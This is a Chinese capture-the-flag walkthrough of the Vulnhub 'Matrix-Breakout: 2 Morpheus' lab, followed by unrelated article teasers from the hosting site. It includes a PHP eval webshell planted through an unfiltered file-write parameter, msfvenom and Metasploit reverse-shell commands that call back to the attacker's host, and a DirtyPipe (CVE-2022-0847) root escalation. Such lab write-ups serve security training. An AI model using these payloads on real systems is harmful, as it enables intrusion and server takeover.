Vulnhub靶场 Matrix-Breakout: 2 Morpheus 练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 文件上传
    • 2. 提权
  • 0x04 总结




0x00 准备


下载连接:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova

介绍:

This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It’s themed as a throwback to the first Matrix movie. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery.

Difficulty: Medium-Hard



0x01 主机信息收集


kali的IP地址:192.168.119.128

探测目标主机的IP地址:netdiscover -i eth0 -r 192.168.119.128/24

目标主机的IP地址:192.168.119.135

探测目标主机的开放端口:nmap -sV -p 1-65535 -A 192.168.119.135

在这里插入图片描述


开放了22端口,openssh8.4;80端口,apache httpd2.4.51;81端口,nginx 1.18.0。



0x02 站点信息收集


访问80端口:http://192.168.119.135/

在这里插入图片描述




探测这个站点的目录结构:dirsearch -u 192.168.119.135

在这里插入图片描述




只扫描出来两个,这两个目录看了一下都没有什么有效的信息。

再访问一下81端口,是一个登录弹窗:

在这里插入图片描述


这里试了一下常规的几个弱口令,以及空密码之类的都无法登录。

再用ffuf进行文件爆破,执行命令:ffuf -u http://192.168.119.135/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html

其中:-c参数是启用彩色输出,在终端中用不同的颜色显示不同的输出内容,帮助用户快速区分重要信息(例如状态码、长度、词数等)。-ic参数是启用大小写不敏感,在匹配爆破结果的时候忽略大小写。-e参数用于指定文件的扩展名,这里制定了几个比较敏感的类型。

在这里插入图片描述


可以看到 graffiti.txt 和 graffiti.php 两个文件。其中 txt文件是一些提示语,php文件可以输入message,并且显示在页面上:

在这里插入图片描述




0x03 漏洞查找与利用



1. 文件上传


http://192.168.119.135/graffiti.php 页面中会将我们输入的内容显示出来,可以考虑试一下xss,输入:

在这里插入图片描述



发现可以正常弹窗。

提交数据00000,再抓包看一下:

在这里插入图片描述





message参数后面是提交的数据,后面还跟了一个file参数,是前面扫描出来的一个文件,访问一下:http://192.168.119.135/graffiti.txt

在这里插入图片描述





发现之前提交的数据都在这个txt文件中展示出来了,也就是说message参数提交的内容会被保存到file参数中的文件,那就可以利用这个来上传webshell。

可以用伪协议查看一下graffiti.php的源代码。
要使用 PHP 伪协议读取 PHP 文件的源代码,可以通过 php://filter 配合 一些过滤器来获取文件的原始内容,而不执行其中的 PHP 代码。这里可以使用base64编码的过滤器convert.base64-encode,将读取的数据进行 Base64 编码。再对获取到的内容进行解码。

把file参数的内容换成:php://filter/read=convert.base64-encode/resource=graffiti.php

在这里插入图片描述

graffiti.php的源代码如下:

<h1>
<center>
Nebuchadnezzar Graffiti Wall</center>
</h1>
<p>
<h1>
<center>
Nebuchadnezzar Graffiti Wall</center>
</h1>
<p>
<?php$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {if (isset($_POST['file'])) {$file=$_POST['file'];}if (isset($_POST['message'])) {$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);fwrite($handle, $_POST['message']);fwrite($handle, "\n");fclose($file); }
}// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {echo fgets($handle);echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000
00000
<br>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000


这段php代码的功能是先判断是否是post请求,如果是post请求再处理提交的数据。如果提交的数据中有file字段,就把message的数据写入到file文件中。这里写入的时候,fopen($file, 'a+') ,a+也就是附加模式打开文件,如果文件不存在就会创建文件。并且对用户提交的message内容和file内容完全没有过滤和处理。

这样就验证了思路的可行性,利用message参数指定webshell的内容,利用file参数指定webshell的文件。将message参数的值设为:<?php eval($_POST['123456']);?> ,将file的值设为123.php:

在这里插入图片描述




访问:http://192.168.119.135/123.php

使用蚁剑连接:

在这里插入图片描述




2. 提权


在msf中开启一个监听端口:

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.119.128
run

在这里插入图片描述




监听了4444端口。

再生成一个msf的木马:msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.119.128 lport=4444 -f elf > 4444.elf

在这里插入图片描述




将生成的木马利用蚁剑上传到 /tmp 目录下。

在蚁剑的终端中,进入/tmp目录:cd /tmp

给这个文件执行权限:chmod +x 4444.elf

执行文件:./4444.elf

在这里插入图片描述




再去msf中看到成功:

在这里插入图片描述





在msf中输入bg,把当前这个会话模块放入后台,这个会话的序号是 1 :

在这里插入图片描述



在蚁剑终端中查看靶机的系统版本:uname -a,是 linux5.10。

然后使用msf中的其他模块进行提权:search linux 5.10

使用第一个CVE-2022-0847:use 0

查看选项:show options

设置lhost:set 192.168.119.128

因为4444端口被占用了,所以把端口也设置一下:set rport 9999

设置会话:set session 1

攻击:run

在这里插入图片描述





进入/root 目录下,查看FLAG.txt 文件的内容:

在这里插入图片描述




0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录。
  2. 文件爆破,发现文件上传点。

漏洞利用:

  1. 上传webshell。
  2. 利用msf生成木马。
  3. 利用CVE-2022-0847进行提权。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/888507.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2020 年 12 月青少年软编等考 C 语言四级真题解析

目录 T1. 开餐馆思路分析T2. 邮票收集思路分析T3. 带通配符的字符串匹配思路分析T4. 删除数字思路分析T1. 开餐馆 北大信息学院的同学小明毕业之后打算创业开餐馆。现在共有 n n n 个地点可供选择。小明打算从中选择合适的位置开设一些餐馆。这 n n n 个地点排列在同一条直线…

c++中set用法

C 的 set 是一种容器&#xff0c;用于存储唯一的元素集合。它基于二叉搜索树的数据结构实现&#xff0c;并且内部使用红黑树来维护顺序和唯一性。以下是 set 容器的一些常见用法示例。 第一步是包含 <set> 头文件&#xff1a; cpp复制插入 #include <set>复制插入…

前端下载文件(链接 + zip等)

前端下载文件 zip文件 后端返回zip的二进制文件 // res为二进制文件 // 创建一个对象 URL const urlObject URL.createObjectURL(new Blob([res])) // 创建一个临时的 <a> 元素用于下载 const a document.createElement(a) a.style.display none a.href urlObjec…

Vue 项目中未登录状态如何统一处理

在 Vue 项目中&#xff0c;处理未登录状态&#xff08;比如用户访问需要登录的页面时&#xff09;是一项常见的需求。为了实现这一需求&#xff0c;我们通常使用 Vue Router 配合 Vuex 或者 Vue 的全局状态管理来统一处理未登录的状态&#xff0c;确保用户只能访问允许的页面。…

03_Django视图

三、Django模板 模板Templates 在Django框架中&#xff0c;模板是可以帮助开发者快速生成呈现给用户页面的工具 模板的设计方式实现了我们MVT中VT的解耦(M:Model&#xff0c;V:View&#xff0c;T:Template)&#xff0c;VT有着N:M的关系&#xff0c;一个V可以调用任意T&#xf…

iOS视图控制器的生命周期及各阶段的作用

iOS视图控制器&#xff08;UIViewController&#xff09;的生命周期是指从它被创建到最终被销毁的过程中所经历的一系列阶段。每个阶段都有其特定的作用和执行时机&#xff0c;这些阶段和作用对于开发高效、稳定的iOS应用至关重要。以下是iOS视图控制器的生命周期及其各个阶段的…

HTML5系列(10)-- 地理位置服务指南

前端技术探索系列&#xff1a;HTML5 地理位置服务指南 &#x1f30d; 致读者&#xff1a;探索位置服务的魅力 &#x1f44b; 前端开发者们&#xff0c; 今天我们将深入探讨 HTML5 的地理位置服务&#xff08;Geolocation API&#xff09;&#xff0c;这项强大的功能让我们能…

美畅物联丨智能监控,高效运维:视频汇聚平台在储能领域的实践探索

在当今全球能源格局不断变化的大背景下&#xff0c;对清洁能源的需求正以惊人的速度增长。储能项目作为平衡能源供需、提升能源利用效率的关键环节&#xff0c;其规模和复杂度也在不断攀升。在储能项目的运营管理过程中&#xff0c;安全监控、设备运维以及数据管理等方面面临着…

Maven 详解

Maven 详解 Maven 是一个强大的项目管理和构建工具&#xff0c;主要用于 Java 项目。Maven 基于 Project Object Model (POM)&#xff0c;通过描述项目结构、依赖关系、插件和构建生命周期&#xff0c;帮助开发者高效管理项目的构建过程。 1. Maven 的核心概念 1.1 POM&#…

提升用户体验、创新产品与高效运营,企业发展三驾马车

​在当今竞争激烈的市场环境中&#xff0c;企业要想脱颖而出并持续发展&#xff0c;需同时在提升用户体验、推动产品创新以及实现内部高效运营方面下功夫。 提升用户体验至关重要。它能提高用户满意度和忠诚度&#xff0c;增加用户口碑与推荐&#xff0c;提升企业品牌形象。可通…

基于ZooKeeper搭建Hadoop高可用集群

ZooKeeper搭建Hadoop高可用集群 在之前安装的Hadoop3.3.6集群中HDFS NameNode 和 YARN ResourceManager 都是单节点&#xff0c;集群不具有高可用性。 HDFS 高可用架构 HDFS 高可用架构主要组件&#xff1a; Active NameNode 和 Standby NameNode&#xff1a; 两台 NameNode…

机器学习—学习过程

给定训练集构建决策树的过程有几个步骤。 给出了一组由十个猫和狗的例子组成的训练集&#xff0c;决策树学习的第一步是我们必须决定在根节点使用什么特性&#xff0c;这是决策树顶部的第一个节点&#xff0c;通过一个算法&#xff0c;假设我们决定选择根节点中的特性&#xf…

矩阵转置        ‌‍‎‏

矩阵转置 C语言代码C 语言代码Java语言代码Python语言代码 &#x1f490;The Begin&#x1f490;点点关注&#xff0c;收藏不迷路&#x1f490; 输入一个n行m列的矩阵A&#xff0c;输出它的转置 A T A^T AT。 输入 第一行包含两个整数n和m&#xff0c;表示矩阵A的行数和列数。…

GPT 1到4代的演进笔记

1. GPT-1 标题是 Improving Language Understanding by Generative Pre-Training. 发表于 2018.02, 比 bert(发布于 2018.10) 早了半年. 1.1 动机 困难:NLU 任务是多样的, 有 {textual entailment, question answering, semantic similarity assessment, document classifica…

JDK17 下载与安装

下载安装包 针对不同的操作系统, 需要下载对应版本的 JDK. 如果电脑是 Windows32 位的, 建议重装系统, 重装成 64 位的操作系统. 因为 Java 从 9 版本开始, 就已经不提供 32 位版本的安装包了. 官网下载 官网下载链接 需要登录 Oracle 账号才能下载. 账号: 2872336204qq.c…

51c视觉~YOLO~合集4

我自己的原文哦~ https://blog.51cto.com/whaosoft/12512597 1、Yolo8 1.1、检测PCB元件 技术世界正在以惊人的速度发展&#xff0c;而这种转变的核心是一个革命性的工具 — 计算机视觉。它最有趣的应用之一是电子印刷电路板 &#xff08;PCB&#xff09; 的检测和分析。本文…

python学习笔记15 python中的类

上一篇我们介绍了python中的库 &#xff0c;学习了一些常见的内置库。详细内容可点击–>python学习笔记14 python中的库&#xff0c;常见的内置库&#xff08;random、hashlib、json、时间、os&#xff09; 这一篇我们来看一下python中的类 创建一个类 class 类的名称():de…

Python库常用函数-数据分析

Python库常用函数 1.pandas库 &#xff08;1&#xff09;数据读取与写入 读取 CSV 文件&#xff1a; data pd.read_csv(file.csv)读取 Excel 文件&#xff1a; data pd.read_excel(file.xlsx, sheet_nameSheet1)写入 CSV 文件&#xff1a; data.to_csv(new_file.csv, ind…

RabbitMQ消息可靠性保证机制5--消息幂等性处理

RabbitMQ层面有实现“去重机制”来保证“恰好一次”吗&#xff1f;答案是没并没有&#xff0c;而且现在主流的消息中间件都没有实现。 一般解决重复消息的办法是&#xff1a;在消费端让我们消费消息操作具有幂等性。 幂等性问题并不是消息系统独有&#xff0c;而是&#xff0…

Day28 买卖股票的最佳时机 跳跃游戏 跳跃游戏 II K 次取反后最大化的数组和

贪心算法 part02 122. 买卖股票的最佳时机 II - 力扣&#xff08;LeetCode&#xff09; 求最大利润 将每天的正利润加和 public int maxProfit(int[] prices) {int totalPrices 0;for(int i0;i<prices.length;i){if(i<prices.length-1&&prices[i1]>prices[…